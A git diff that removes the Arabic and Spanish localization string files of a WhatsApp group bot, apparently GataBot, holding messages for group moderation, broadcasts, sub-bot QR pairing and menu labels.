-const smsAddB1 = () => { return `${lenguajeGB['smsAvisoFG']()}*لا يمكن إضافة الرقم ، يرجى التحقق من صحته ، أو ربما خرج مؤخرًا أو تم تعيين خصوصيتك.*`}
-const smsAddB2 = () => { return `${lenguajeGB['smsAvisoFG']()}*لا يمكن إضافة الرقم أو التحقق من صحته أو إضافته يدويًا.*`}
-
-//grupo-admins.js
-const smsAddB3 = () => { return `*إخطار للمسؤولين*`}
-const smsAddB4 = () => { return `*حضور المشرف*`}
-const smsAddB5 = () => { return `*رسالة:*`}
-const smsAddB6 = () => { return `أطلب المدراء من فضلك.`}
-
-//grupo-advertencia.js
-const smsAdveu1 = () => { return `${lenguajeGB['smsAvisoAG']()}*يمكن استخدامه فقط في حالة تنشيط الوظيفة:*\n`}
-const smsAdveu2 = () => { return 'سبب'}
-const smsAdveu3 = () => { return `${lenguajeGB['smsAvisoMG']()}*تذكر أن تكتب سبب التحذير*\n`}
-const smsAdveu4 = () => { return '*تلقيت تحذيرًا في هذه المجموعة !!*'}
-const smsAdveu5 = () => { return 'تحذير'}
-const smsAdveu6 = () => { return '🎒 المخزون'}
-const smsAdveu7 = () => { return '*لقد حذرتك عدة مرات !!*'}
-const smsAdveu8 = () => { return '*الآن سيتم حذفك* 🙄'}
-const smsAdveu9 = () => { return '😇 شكرا لك'}
-const smsAdveu10 = () => { return '*تمت إزالة تحذير في هذه المجموعة!!*'}
-const smsAdveu11 = () => { return 'قبل:'}
-const smsAdveu12 = () => { return 'حاليا:'}
-
-//grupo-demote.js || grupo-promote.js
-const smsDemott = () => { return `*الرقم غير صالح ، حاول مرة أخرى الرد على رسالة شخص ما أو استخدمه مثل هذا المثال:*\n`}
-const smsDemott2 = () => { return '*الآن لديه قوة في المجموعة !!*'}
-const smsDemott3 = () => { return '*لم يعد لديه قوة في المجموعة!!*'}
-
-//grupo-info.js
-const smsGI1 = () => { return '*معلومات المجموعة*'}
-const smsGI2 = () => { return '*معرف مجموعة*'}
-const smsGI3 = () => { return '*أسم المجموعة*'}
-const smsGI4 = () => { return '*وصف المجموعة*'}
-const smsGI5 = () => { return '*بدون وصف*'}
-const smsGI6 = () => { return '*عدد المستخدمين*'}
-const smsGI7 = () => { return '*المستخدمون*'}
-const smsGI8 = () => { return '*منشئ المجموعة*'}
-const smsGI9 = () => { return '*المشرف مجموعة*'}
-const smsGI10 = () => { return '⚙️ إعدادات المجموعة'}
-
-//grupo-kick.js
-const smskick1 = () => { return `${lenguajeGB['smsAvisoAG']()}*ضع علامة على الشخص أو رد على رسالة الشخص الذي تريد حذفه*\n\n*مثال: `}
-const smskick2 = () => { return `إزالة 😼🫵`}
-const smskick3 = () => { return `لا يمكنني حذف منشئ المجموعة 😆🫵`}
-const smskick4 = () => { return `ليس في هذه المجموعة 👻`}
-
-//grupo-tagall.js
-const smstagaa = () => { return `⚡ اجتماع المجموعة ⚡`}
-
-//grupo-setbye.js
-const smsSetB = () => { return `${lenguajeGB['smsAvisoEG']()}*تم تكوين وداع المجموعة*`}
-const smsSetB2 = () => { return `${lenguajeGB['smsAvisoIIG']()}🙌 *_اكتب رسالة الوداع_*\n*_اختياري يمكنك استخدام ما هو مع "@" لإضافة المزيد من المعلومات:_*\n\n*⚡ @user (أذكر للمستخدم)*\n\n*تذكر أن علامة "@" هي اختيارية*`}
-
-//grupo-setwelcome.js
-const smsSetW = () => { return `${lenguajeGB['smsAvisoEG']()}*تم إعداد ترحيب المجموعة*`}
-const smsSetW2 = () => { return `${lenguajeGB['smsAvisoIIG']()}🙌 *_اكتب رسالة الترحيب_*\n*_اختياري يمكنك استخدام ما هو مع "@" لإضافة المزيد من المعلومات:_*\n\n*⚡ @user (أذكر للمستخدم)*\n*⚡ @subject (أسم المجموعة)*\n*⚡ @desc (وصف المجموعة)*\n\n*تذكر أن علامة "@" اختيارية*`}
-
-//grupo-setdesc.js
-const smsDest = () => { return `${lenguajeGB['smsAvisoEG']()}*تم تكوين وصف المجموعة*`}
-
-//grupo-setname.js
-const smsNam1 = () => { return `${lenguajeGB['smsAvisoEG']()}*تم تعيين اسم المجموعة*`}
-const smsNam2 = () => { return `${lenguajeGB['smsAvisoMG']()}*🙌 اكتب اسم المجموعة الجديد*`}
-const smsNam3 = () => { return `${lenguajeGB['smsAvisoFG']()}*يجب ألا يحتوي اسم المجموعة على أكثر من 25 حرفًا*`}
-
-//grupo-restaurarEnlace.js
-const smsRestGp = () => { return `${lenguajeGB['smsAvisoEG']()}*تمت إعادة تعيين ارتباط المجموعة*`}
-
-//Button
-const smsSig = () => { return `➡️ التالي ➡️`}
-const smsSigPrem = () => { return `❤️🔥 التالي ❤️🔥`}
-const smsCont18Porn = () => { return `🔞 *محتويات* 🔞`} //texto
-const smsCont18Porn2 = () => { return `🔞 محتويات 🔞`} //texto
-const smsCont18PornP = () => { return `🌟 *محتويات ❤️🔥 الممتازة* 🌟`} //texto
-const smsCont18PornP2 = () => { return `محتويات ❤️🔥 الممتازة`} //texto
-
-//propietario(a).js
-const smsJoin = (user) => { return `${packname}\n𝙀𝙎 𝙐𝙉 𝘽𝙊𝙏 𝘿𝙀 𝙒𝙃𝘼𝙏𝙎𝘼𝙋𝙋 𝙌𝙐𝙀 𝙏𝙀 𝘼𝙔𝙐𝘿𝘼𝙍𝘼 𝙍𝙀𝘼𝙇𝙄𝙕𝘼𝙍 𝘿𝙄𝙁𝙀𝙍𝙀𝙉𝙏𝙀𝙎 𝘼𝘾𝙏𝙄𝙑𝙄𝘿𝘼𝘿𝙀𝙎 🪄 𝘼𝙇 𝙋𝙍𝙄𝙑𝘼𝘿𝙊 𝙊 𝙂𝙍𝙐𝙋𝙊 𝙔 𝙏𝘼𝙈𝘽𝙄𝙀𝙉 𝙏𝙀 𝙑𝘼𝙎 𝘼 𝘿𝙄𝙑𝙀𝙍𝙏𝙄𝙍 🎈 𝘾𝙊𝙉 𝙎𝙐𝙎 𝙈𝙐𝙇𝙏𝙄𝙋𝙇𝙀𝙎 𝙁𝙐𝙉𝘾𝙄𝙊𝙉𝙀𝙎, 𝘿𝙄𝙎𝙁𝙍𝙐𝙏𝘼 𝘿𝙀 𝙂𝘼𝙏𝘼𝘽𝙊𝙏!!! 😸\n\n💖 𝙂𝘼𝙏𝘼𝘽𝙊𝙏 𝙁𝙐𝙀 𝙄𝙉𝙑𝙄𝙏𝘼𝘿𝘼 𝙋𝙊𝙍:\n@${user}`}
-const smsJoin1 = (usedPrefix, command) => { return lenguajeGB['smsAvisoMG']() + `*INGRESE EL ENLACE DE UN GRUPO*\n*EJEMPLO:*\n*${usedPrefix + command}* ${nna}`}
-const smsJoin2 = () => { return lenguajeGB['smsAvisoEG']() + `${packname}\n*SE HA UNIDO AL GRUPO ✅*`}
-
-//propietario(a).js
-const smsBCMensaje = (usedPrefix, command) => { return `*الرد على الرسالة أو اكتب الرسالة المستخدمة ${usedPrefix + command}*`}
-const smsBCMensaje2 = () => { return `*أرسل رسالة رسمية ، انتظر لحظة...*`}
-const smsBCMensaje3 = (totalPri, time) => { return `✅ تم إرسال الرسالة إلى ${totalPri} الدردشات*\n\n*أوقات الشحن الخاصة الإجمالية: ${time}*\n${totalPri >= 3000 ? '\n*لم يتم إرسالهم إلى جميع الدردشات لتجنب التشبع*' : ''}`}
-
-//propietario(a.js
-const smsPropban1 = (usedPrefix, command, bot) => { return `${lenguajeGB['smsAvisoMG']()}*ضع علامة على أحد الأشخاص أو رد على رسالة المستخدم أو اكتب الرقم الذي تريد حظره من الأوامر*\n\n*مثال:*\n*${usedPrefix + command} @${bot}*`}
-const smsPropban2 = (bot) => { return `${lenguajeGB['smsAvisoFG']()}*@${bot} لا يمكن حظره بهذا الأمر* 😹`}
-const smsPropban3 = (ownerNumber) => { return `${lenguajeGB.smsAvisoIIG()}😳 *لا يمكنني منع المالك @${ownerNumber} من ${packname}*`}
-const smsPropban4 = (number) => { return `${lenguajeGB.smsAvisoIIG()}*ليس من الضروري الحظر مرة أخرى @${number} نعم إنه موجود بالفعل* 😊`}
-const smsPropban5 = () => { return `${lenguajeGB['smsAvisoEG']()}*المستخدم محظور بنجاح* 🙀`}
-const smsPropban6 = (number, usr) => { return `${lenguajeGB.smsAvisoAG()}*@${number} أنت محظور من قبل @${usr} لا يمكنك استخدام الأوامر حتى يقوم أحدهم بعكس الحظر* 😿`}
-const smsPropban7 = (usedPrefix, command, number) => { return `${lenguajeGB['smsAvisoFG']()}*ظهر خطأ ، ربما يكون المستخدم غير موجود في قاعدة بياناتي ، حاول الكتابة ${usedPrefix + command} ${number}*\n\`\`\`إذا استمر الخطأ في الإبلاغ عن هذا الأمر\`\`\``}
-
-//propietario(a).js
-const smsBCbot1 = () => { return `✅ *رسالة:*`}
-const smsBCbot2 = () => { return `خاص`}
-const smsBCbot3 = () => { return ` تَجَمَّع `}
-const smsBCbot4 = () => { return `المجموع`}
-const smsBCbot5 = () => { return `إجمالي وقت الشحن:`}
-const smsBCbot6 = () => { return `لم يتم إرسالهم إلى جميع الدردشات لتجنب التشبع`}
-const smsBCbot7 = () => { return `✅ *الخطاب الرسمي* ✅`}
-
-//propietario(a).js
-const smsChatGP1 = () => { return "*أرسل رسالة ، انتظر لحظة...*"}
-const smsChatGP2 = (readMS, dia, mes, año, fecha, tiempo) => { return `✅ *الخطاب الرسمي* ✅\n${readMS}\n\`\`\`${dia}, ${mes} ${año}\`\`\`\n\`\`\`${fecha} || ${tiempo}\`\`\`\n\n`}
-const smsChatGP3 = (totalGP) => { return `✅ * تم إرسال الرسالة إلى ${totalGP} المجموعات*`}
-
-//jadibot-serbot.js
-const smsIniJadi = () => { return `*⊹ • • • ミ★ ${global.packname} ミ★• • • ⊹*\n\n*ღ إصدار ${global.packname} » _${global.vs}_*\n*ღ نسخة JadiBot » _${global.vsJB}_*\n\n🟢 *_الوظيفة تكون فرعية_* 🟢\n\n*➡️ باستخدام هاتف خلوي أو كمبيوتر شخصي آخر ، امسح رمز الاستجابة السريعة هذا ليصبح روبوتًا فرعيًا*\n\n*1️⃣ انتقل إلى النقاط الثلاث في الزاوية اليمنى العليا*\n*2️⃣ انتقل إلى خيار الأجهزة المقترنة*\n*3️⃣ امسح رمز الاستجابة السريعة هذا لتسجيل الدخول*\n\n📢 *¡تنتهي صلاحية رمز الاستجابة السريعة هذا في 45 ثانية!*`}
-const smsSoloOwnerJB = () => { return `${lenguajeGB['smsAvisoAG']()}*تم تعطيل هذا الأمر من قبل المالك*`}
-const smsJBPrincipal = () => { return `${lenguajeGB['smsAvisoAG']()}🔵 *لكي تكون تابعًا ثانويًا ، انتقل إلى الرقم الرئيسي*\n*ღ أدخل الرابط التالي:*\n`}
-const smsJBConexion = () => { return `${lenguajeGB['smsAvisoFG']()}🟡 *تم إغلاق الاتصال بطريقة غير متوقعة ، سنحاول إعادة الاتصال ...*`}
-const smsJBConexionClose = () => { return `${lenguajeGB['smsAvisoFG']()}🔴 *تم إغلاق الاتصال ، يجب عليك الاتصال يدويًا باستخدام الأمر #jadibot وإعادة إنشاء رمز الاستجابة السريعة الجديد*`}
-const smsJBConexionTrue = () => { return `${lenguajeGB['smsAvisoEG']()}🟢 *اتصال ناجح!!!*`}
-const smsJBConexionTrue2 = () => { return `${lenguajeGB['smsAvisoEG']()}🟢 *اتصال ناجح!!! يمكنك الاتصال باستخدام:*`}
-const smsJBCargando = () => { return `${lenguajeGB['smsAvisoIIG']()}⚪ *متصل!! يرجى الانتظار يتم تحميل الرسائل ...*\n\n♻️ *الخيارات المتاحة:*\n*» #stop _(ميزة Stop Sub Bot)_*\n*» #deletesesion _(احذف كل آثار Sub Bot)_*\n*» #jadibot _(احصل على رمز QR جديد ليكون Sub Bot)_*`}
-const smsJBInfo1 = () => { return `💖 *رابط مفيد*`}
-const smsJBInfo2 = () => { return `💖 *الوظيفة مستقرة ، إذا واجهت أي إزعاج ، فاتصل بالبريد: centergatabot@gmail.com*\n💝 *يمكنك تقديم تبرع طوعي عن طريق PayPal: ${global.paypal}*\n\n*شكرا جزيلا على الدعم ${global.packname}*`}
-
-//jadibot-deleteSesion.js
-const smsJBDel = () => { return `${lenguajeGB['smsAvisoAG']()}*استخدم هذا الأمر مع الروبوت الرئيسي*`}
-const smsJBAdios = () => { return `${lenguajeGB['smsAvisoEG']()}*سأفتقدك ${global.packname} وداعا!! 🥹*`}
-const smsJBCerrarS = () => { return `${lenguajeGB['smsAvisoEG']()}*لقد قمت بتسجيل الخروج وحذف جميع المسارات*`}
-const smsJBErr = () => { return `*لقد قمت بتسجيل الخروج كبرنامج ثانوي* ♻️`}
-
-//comandos+18-adult.js
-const smsContAdult = () => { return `${lenguajeGB['smsAvisoAG']()}*الأوامر 🔞 إنهم معاقون ، إذا كنت منشئ المحتوى الخاص بي #on modohorny*`}
-
-//comandos+18-menu.js
-const smsList1 = () => { return `ليس لدي ما يكفي `}
-const smsList2 = () => { return `\nانقر هنا للشراء `}
-const smsList3 = () => { return `المحتوى المتاح 😸`}
-const smsList4 = () => { return `المحتوى غير متوفر 😿\nانقر هنا للشراء `}
-const smsList5 = () => { return `*حدد اختيارا*\n*من القائمة لمشاهدة*\n*محتويات* 😋`}
-const smsList6 = () => { return `👀 انظر القائمة 👀`}
-
-//descargas-consejos.js
-const smsConj = () => { return `🍃 مجلس جديد`}
-const smsFras = () => { return `🍃 جملة جديدة`}
-
-//info-contacto.js
-const smsContacto1 = () => { return ' أنا ' + packname + ' بوت WhatsApp مخصص للمساعدة في كل ما تطلبه 😎'}
-const smsContacto2 = () => { return 'أنا مالك ' + packname + ' إذا كان لديك أي أسئلة يمكنك إخباري بها ✌️'}
-const smsContacto3 = () => { return '👑 صاحب'}
-const smsContacto4 = () => { return 'جهة اتصال GataBot الرسمية 🐈'}
-const smsContacto5 = () => { return '🐣 كيف يمكنني مساعدك؟'}
-const smsContacto6 = () => { return 'ليس لدي بريد 🙏'}
-const smsContacto7 = () => { return '🌎 عالمي'}
-const smsContacto8 = () => { return 'هذا الحساب هو بوت 👀'}
-
-
-export default { lenguaje, smsConexioncerrar, smsConexionperdida, smsConexionreem, smsConexionreinicio, smsConexiontiem, smsConexiondescon, smsAvisoRG, smsJoin, smsJoin1, smsJoin2, smsPropban1, smsPropban2, smsPropban3, smsPropban4, smsPropban5, smsPropban6, smsPropban7, smsLisA, smsLisB, smsLisC, smsLisD, smsLisE, smsChatGP1, smsChatGP2, smsChatGP3, smsBCMensaje, smsBCMensaje2, smsBCMensaje3, smsAvisoAG, smsAvisoIIG, smsBCbot1, smsBCbot2, smsBCbot3, smsBCbot4, smsBCbot5, smsBCbot6, smsBCbot7, smsAvisoFG, smsAvisoMG, smsAvisoEEG, smsAvisoEG, smsRowner, smsOwner, smsMods, smsPremium, smsGroup, smsPrivate, smsAdmin, smsBotAdmin, smsUnreg, smsRestrict, smsTime, smsUptime, smsVersion, smsTotalUsers, smsMode, smsModePublic, smsModePrivate, smsBanChats, smsBanUsers, smsPareja, smsResultPareja, smsSaludo, smsDia, smsTarde, smsTarde2, smsNoche, smsListaMenu, smsLista1, smsLista2, smsLista3, smsLista4, smsLista5, smsLista6, smsLista7, smsLista8, smsLista9, smsLista10, smsLista11, smsLista12, smsLista13, smsLista14, smsLista15, smsLista16, smsLista17, smsLista18, smsLista19, smsLista20, smsLista21, smsLista22, smsLista23, smsLista24, smsLista25, smsLista26, smsLista27, smsLista28, smsLista29, smsLista30, smsLista31, smsLista32, smsLista33, smsLista34, smsLista35, smsWelcome, smsBye, smsSpromote, smsSdemote, smsSdesc, smsSsubject, smsSicon, smsSrevoke, smsConexion, smsClearTmp, smsCargando, smspurgeSession, smspurgeOldFiles, smspurgeSessionSB1, smspurgeSessionSB2, smspurgeSessionSB3, smspurgeOldFiles1, smspurgeOldFiles2, smspurgeOldFiles3, smspurgeOldFiles4, smsTextoYT, smsApagar, smsEncender, smsEnlaceTik, smsEnlaceYt, smsEnlaceTel, smsEnlaceFb, smsEnlaceIg, smsEnlaceTw, smsAllAdmin, smsSoloOwner, smsCont1, smsCont2, smsCont3, smsCont4, smsCont5, smsCont6, smsCont7, smsCont8, smsCont9, smsCont10, smsCont11, smsCont12, smsCont13, smsCont14, smsCont15, smsCont16, smsCont17, smsCont18, smsCont19, smsCont20, smsCont21, smsInt1, smsInt2, smsAdwa, smsEnlaceWat, smsEnlaceWatt, smsNoSpam, smsNoSpam2, smsConMenu, smsMalError, smsMalError2, smsMalError3, smsToxic1, smsToxic2, smsToxic3, smsToxic4, smsToxic5, smsToxic6, smsToxic7, eExp, eDiamante, eDiamantePlus, eToken, eEsmeralda, eJoya, eMagia, eOro, eGataCoins, eGataTickers, eEnergia, ePocion, eAgua, eBasura, eMadera, eRoca, ePiedra, eCuerda, eHierro, eCarbon, eBotella, eLata, eCarton, eEletric, eBarraOro, eOroComun, eZorroG, eBasuraG, eLoboG, eMaderaG, eEspada, eCarnada, eBillete, ePinata, eGancho, eCanaPescar, eCComun, ePComun, eCMistica, eCMascota, eCJardineria, eClegendaria, eUva, eManzana, eNaranja, eMango, ePlatano, eSUva, eSManzana, eSNaranja, eSMango, eSPlatano, eCentauro, eAve, eGato, eDragon, eZorro, eCaballo, eFenix, eLobo, ePerro, eAMascots, eCCentauro, eCAve, eCMagica, eCDragon, eACaballo, eCFenix, smsWel1, smsWel2, smsParaAdmins, smsDete1, smsDete2, smsANivel1, smsANivel2, smsParaAdYOw, smsParaOw, smsRestri1, smsRestri2, smsLlamar1, smsLlamar2, smsModP1, smsModP2, smsModAd1, smsModAd2, smsLect1, smsLect2, smsTempo1, smsTempo2, smsStik1, smsStik2, smsStickA1, smsStickA2, smsReacc1, smsReacc2, smsAudi1, smsAudi2, smsModHor1, smsModHor2, smsAntitoc1, smsAntitoc2, smsModOb1, smsModOb2,
-smsAntiEli1, smsAntiEli2, smsAntiInt1, smsAntiInt2, smsAntiE1, smsAntiE2, smsAntiEE1, smsAntiEE2, smsAntiTT1, smsAntiTT2, smsAntiYT1, smsAntiYT2, smsAntiTEL1, smsAntiTEL2, smsAntiFB1, smsAntiFB2, smsAntiIG1, smsAntiIG2, smsAntiTW1, smsAntiTW2, smsSOLOP1, smsSOLOP2, smsSOLOG1, smsSOLOG2, smsNoGg, smsConfi1, smsConfi2, smsConfi3, smsConfi4, smsConfi5, smsConfi6, smsConfi7, smsConfi8, smsConfi9, smsConfi10, smsMens1, smsMens2, smsMens3, smsMens4, smsMens5, smsMensError1, smsMensError2, smsAntiView, smsAutoLv1, smsAutoLv2, smsAutoLv3, smsAutoLv4, smsAutoLv5, smsAutoLv6, smsAutoLv7, smsAntiSp1, smsAntiSp2, smsAutoStik, smsBottem1, smsBottem2, smsBottem3, smsPremI,
-smsAfkM1, smsAfkM2, smsAfkM3, smsAfkM4, smsAfkM5, smsAfkM6, smsAfkM1A, smsAfkM1B, smsChatAn1, smsChatAn2, smsChatAn3, smsChatAn4, smsChatAn5, smsChatAn6, smsChatAn7, smsChatAn8, smsChatAn9, smsChatAn10, smsChatAn11, smsChatAn12, smsChatAn13, smsBotonM1, smsBotonM2, smsBotonM3, smsBotonM4, smsBotonM5, smsBotonM6, smsBotonM7, smsTex1, smsTex2, smsTex3, smsTex4, smsTex5, smsTex6, smsTex7, smsTex8, smsTex9, smsTex10, smsTex11, smsTex12, smsTex13, smsTex14, smsTex15, smsTex16, smsTex17, smsTex18, smsTex19, smsTex20, smsTex21, smsTex22, smsTex23, smsMalused, smsGrupoTime1, smsGrupoTime2, smsGrupoTime3, smsGrupoTime4, smsGrupoTime5, smsGrupoTime6, smsGrupoTime7, smsGrupoTime8, smsGrupoTime9, smsGrupoTime10, smsGrupoTime11, smsGrupoTime12, smsGrupoTime13, smsAddB1, smsAddB2, smsAddB3, smsAddB4, smsAddB5, smsAddB6, smsAdveu1, smsMalused2, smsAdveu2, smsAdveu3, smsAdveu4, smsAdveu5, smsAdveu6, smsAdveu7, smsAdveu8, smsAdveu9, smsMalused3, smsAdveu10, smsAdveu11, smsAdveu12, smsDemott, smsDemott2, smsDemott3,
-smsGI1, smsGI2, smsGI3, smsGI4, smsGI5, smsGI6, smsGI7, smsGI8, smsGI9, smsGI10, smsLista22_1, smsCodigoQR, smsConexionOFF, smskick1, smskick2, smskick3, smskick4, smstagaa,
-smsSetB, smsSetB2, smsSetW, smsSetW2, smsDest, smsNam1, smsNam2, smsNam3, smsRestGp, smsSig, smsSigPrem, smsCont18Porn, smsCont18Porn2, smsCont18PornP, smsCont18PornP2,
-smsIniJadi, smsSoloOwnerJB, smsJBPrincipal, smsJBConexion, smsJBConexionClose, smsJBConexionTrue, smsJBConexionTrue2, smsJBCargando, smsJBInfo1, smsJBInfo2, smsJBDel, smsJBAdios,
-smsJBCerrarS, smsJBErr, smsContAdult, smsList1, smsList2, smsList3, smsList4, smsList5, smsList6, smsConj, smsFras, smsContacto1, smsContacto2, smsContacto3, smsContacto4,
-smsContacto5, smsContacto6, smsContacto7, smsContacto8, smsAfkQ1, smsAfkQ2, smsAfkTime, smsAfkResultTime, smsMainBot }
diff --git a/lib/idiomas/espanol.js b/lib/idiomas/espanol.js
deleted file mode 100644
index 91196497b..000000000
--- a/lib/idiomas/espanol.js
+++ /dev/null
@@ -1,606 +0,0 @@
-const lenguaje = () => { return 'es' } //Español
-
-//AVISOS DE MENSAJE
-const smsAvisoRG = () => { return `╰⊱✅⊱ *𝙍𝙀𝙎𝙐𝙇𝙏𝘼𝘿𝙊𝙎* ⊱✅⊱╮\n\n` }
-const smsAvisoAG = () => { return `╰⊱⚠️⊱ *𝘼𝘿𝙑𝙀𝙍𝙏𝙀𝙉𝘾𝙄𝘼* ⊱⚠️⊱╮\n\n` }
-const smsAvisoIIG = () => { return `╰⊱❕⊱ *𝙄𝙉𝙁𝙊𝙍𝙈𝘼𝘾𝙄𝙊𝙉* ⊱❕⊱╮\n\n` }
-const smsAvisoFG = () => { return `╰⊱❌⊱ *𝙀𝙍𝙍𝙊𝙍* ⊱❌⊱╮\n\n` }
-const smsAvisoMG = () => { return `╰⊱❗️⊱ *𝘼𝘾𝘾𝙄𝙊𝙉 𝙈𝘼𝙇 𝙐𝙎𝘼𝘿𝘼* ⊱❗️⊱╮\n\n` }
-const smsAvisoEEG = () => { return `╰⊱📩⊱ *𝙍𝙀𝙋𝙊𝙍𝙏𝙀* ⊱📩⊱╮\n\n` }
-const smsAvisoEG = () => { return `╰⊱💚⊱ *𝙀𝙓𝙄𝙏𝙊𝙎* ⊱💚⊱╮\n\n` }
-
-//PARÁMETROS EN COMANDOS
-const smsRowner = () => { return `¡¡𝙀𝙨𝙩𝙚 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 𝙨𝙤𝙡𝙤 𝙥𝙪𝙚𝙙𝙚 𝙨𝙚𝙧 𝙪𝙨𝙖𝙙𝙤 𝙥𝙤𝙧 𝙢𝙞 𝙋𝙧𝙤𝙥𝙞𝙚𝙩𝙖𝙧𝙞𝙤/𝙖 (𝙤𝙬𝙣𝙚𝙧) 𝙙𝙚𝙡 𝙗𝙤𝙩!!` }//NUMERO DE BOT
-const smsOwner = () => { return `¡¡𝙀𝙨𝙩𝙚 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 𝙨𝙤𝙡𝙤 𝙥𝙪𝙚𝙙𝙚 𝙨𝙚𝙧 𝙪𝙨𝙖𝙙𝙤 𝙥𝙤𝙧 𝙢𝙞 𝙋𝙧𝙤𝙥𝙞𝙚𝙩𝙖𝙧𝙞𝙤/𝙖 (𝙤𝙬𝙣𝙚𝙧) 𝙙𝙚𝙡 𝙗𝙤𝙩!!` }//OWNER
-const smsMods = () => { return `¡¡𝙀𝙨𝙩𝙚 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 𝙨𝙤𝙡𝙤 𝙥𝙪𝙚𝙙𝙚 𝙨𝙚𝙧 𝙪𝙩𝙞𝙡𝙞𝙯𝙖𝙙𝙤 𝙥𝙤𝙧 𝙢𝙤𝙙𝙚𝙧𝙖𝙙𝙤𝙧𝙚𝙨 𝙮 𝙚𝙡 𝙥𝙧𝙤𝙥𝙞𝙚𝙩𝙖𝙧𝙞𝙤/𝙖 (𝙤𝙬𝙣𝙚𝙧) 𝙙𝙚𝙡 𝙗𝙤𝙩!!` }//MODERADORES
-const smsPremium = () => { return `¡¡𝙀𝙨𝙩𝙚 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 𝙨𝙤𝙡𝙤 𝙥𝙪𝙚𝙙𝙚 𝙨𝙚𝙧 𝙪𝙩𝙞𝙡𝙞𝙯𝙖𝙙𝙤 𝙥𝙤𝙧 𝙪𝙨𝙪𝙖𝙧𝙞𝙤 𝙥𝙧𝙚𝙢𝙞𝙪𝙢 𝙮 𝙚𝙡 𝙥𝙧𝙤𝙥𝙞𝙚𝙩𝙖𝙧𝙞𝙤/𝙖 (𝙤𝙬𝙣𝙚𝙧) 𝙙𝙚𝙡 𝙗𝙤𝙩!!` }//USUARIOS PREMIUM
-const smsGroup = () => { return `¡¡𝙀𝙨𝙩𝙚 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 𝙨𝙤𝙡𝙤 𝙥𝙪𝙚𝙙𝙚 𝙨𝙚𝙧 𝙪𝙩𝙞𝙡𝙞𝙯𝙖𝙙𝙤 𝙚𝙡 𝙜𝙧𝙪𝙥𝙤!!` }//PARA GRUPOS
-const smsPrivate = () => { return `¡¡𝙀𝙨𝙩𝙚 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 𝙨𝙤𝙡𝙤 𝙨𝙚 𝙥𝙪𝙚𝙙𝙚 𝙪𝙩𝙞𝙡𝙞𝙯𝙖𝙧 𝙖𝙡 𝙥𝙧𝙞𝙫𝙖𝙙𝙤 𝙙𝙚𝙡 𝙗𝙤𝙩!!` }//AL PRIVADO
-const smsAdmin = () => { return `¡¡𝙀𝙨𝙩𝙚 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 𝙨𝙤𝙡𝙤 𝙨𝙚 𝙥𝙪𝙚𝙙𝙚 𝙪𝙨𝙖𝙧 𝙥𝙤𝙧 𝙖𝙙𝙢𝙞𝙣 𝙙𝙚𝙡 𝙜𝙧𝙪𝙥𝙤!!` }//ADMINS
-const smsBotAdmin = () => { return `¡¡𝙋𝙖𝙧𝙖 𝙥𝙤𝙙𝙚𝙧 𝙪𝙨𝙖𝙧 𝙚𝙨𝙩𝙚 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 𝙚𝙡 𝙗𝙤𝙩 (𝙮𝙤) 𝙣𝙚𝙘𝙚𝙨𝙞𝙩𝙤 𝙖𝙙𝙢𝙞𝙣, 𝙝𝙖𝙜𝙖 𝙦𝙪𝙚 𝙗𝙤𝙩 𝙨𝙚𝙖 𝙖𝙙𝙢𝙞𝙣 𝙥𝙖𝙧𝙖 𝙥𝙤𝙙𝙚𝙧 𝙪𝙨𝙖𝙧 𝙚𝙨𝙩𝙚 𝙘𝙤𝙢𝙖𝙣𝙙𝙤!!` }//BOT CON ADMIN
-const smsUnreg = () => { return `¡¡🙌 𝙃𝙀𝙔 𝘼𝙇𝙏𝙊, 𝙉𝙊 𝙀𝙎𝙏𝘼 𝙍𝙀𝙂𝙄𝙎𝙏𝙍𝘼𝘿𝙊!! 🙌\n𝙋𝙖𝙧𝙖 𝙥𝙤𝙙𝙚𝙧 𝙪𝙨𝙖𝙧 𝙚𝙡 𝙗𝙤𝙩 𝙣𝙚𝙘𝙚𝙨𝙞𝙩𝙖 𝙧𝙚𝙜𝙞𝙨𝙩𝙧𝙖𝙧𝙩𝙚, 𝙪𝙨𝙖 𝙚𝙡 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 /𝙫𝙚𝙧𝙞𝙛𝙞𝙘𝙖𝙧` }//VERIFICAR
-const smsRestrict = () => { return `¡¡𝙀𝙨𝙩𝙚 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 𝙚𝙨𝙩𝙖 𝙙𝙚𝙨𝙖𝙘𝙩𝙞𝙫𝙖𝙙𝙤 𝙥𝙤𝙧 𝙢𝙞 𝙘𝙧𝙚𝙖𝙙𝙤𝙧 !!` }//RESTRINGIR COMANDO
-
-//MENU LISTA
-const smsTime = () => { return `𝙏𝙞𝙚𝙢𝙥𝙤 𝘼𝙘𝙩𝙪𝙖𝙡`}
-const smsUptime = () => { return `𝙏𝙞𝙚𝙢𝙥𝙤 𝙖𝙘𝙩𝙞𝙫𝙤`}
-const smsVersion = () => { return `𝙑𝙚𝙧𝙨𝙞𝙤𝙣 𝙙𝙚𝙡 𝙏𝙝𝙚-𝙇𝙤𝙡𝙞𝘽𝙤𝙩-𝙈𝘿`}
-const smsTotalUsers = () => { return `𝙏𝙤𝙩𝙖𝙡 𝙙𝙚𝙡 𝙪𝙨𝙪𝙖𝙧𝙞𝙤`}
-const smsMode = () => { return `𝙀𝙨𝙩𝙖 𝙚𝙣 𝙈𝙤𝙙𝙤`}
-const smsModePublic = () => { return `PÚBLICO`}
-const smsModePrivate = () => { return `PRIVADO`}
-const smsBanChats = () => { return `𝘾𝙝𝙖𝙩 𝙋𝙧𝙤𝙝𝙞𝙗𝙞𝙙𝙤`}
-const smsBanUsers = () => { return `𝙐𝙨𝙪𝙖𝙧𝙞𝙤 𝙋𝙧𝙤𝙝𝙞𝙗𝙞𝙙𝙤`}
-const smsPareja = () => { return `Pareja`}
-const smsResultPareja = () => { return `No tiene Pareja`}
-const smsSaludo = () => { return `👋 !HOLA! BIENVENIDO(A) 👋`}
-const smsDia = () => { return `🌇 Buenos Días ⛅`}
-const smsTarde = () => { return `🏙️ Buenas Tardes 🌤️`}
-const smsTarde2 = () => { return `🌆 Buenas tardes 🌥️`}
-const smsNoche = () => { return `🌃 Buenas noches 💫`}
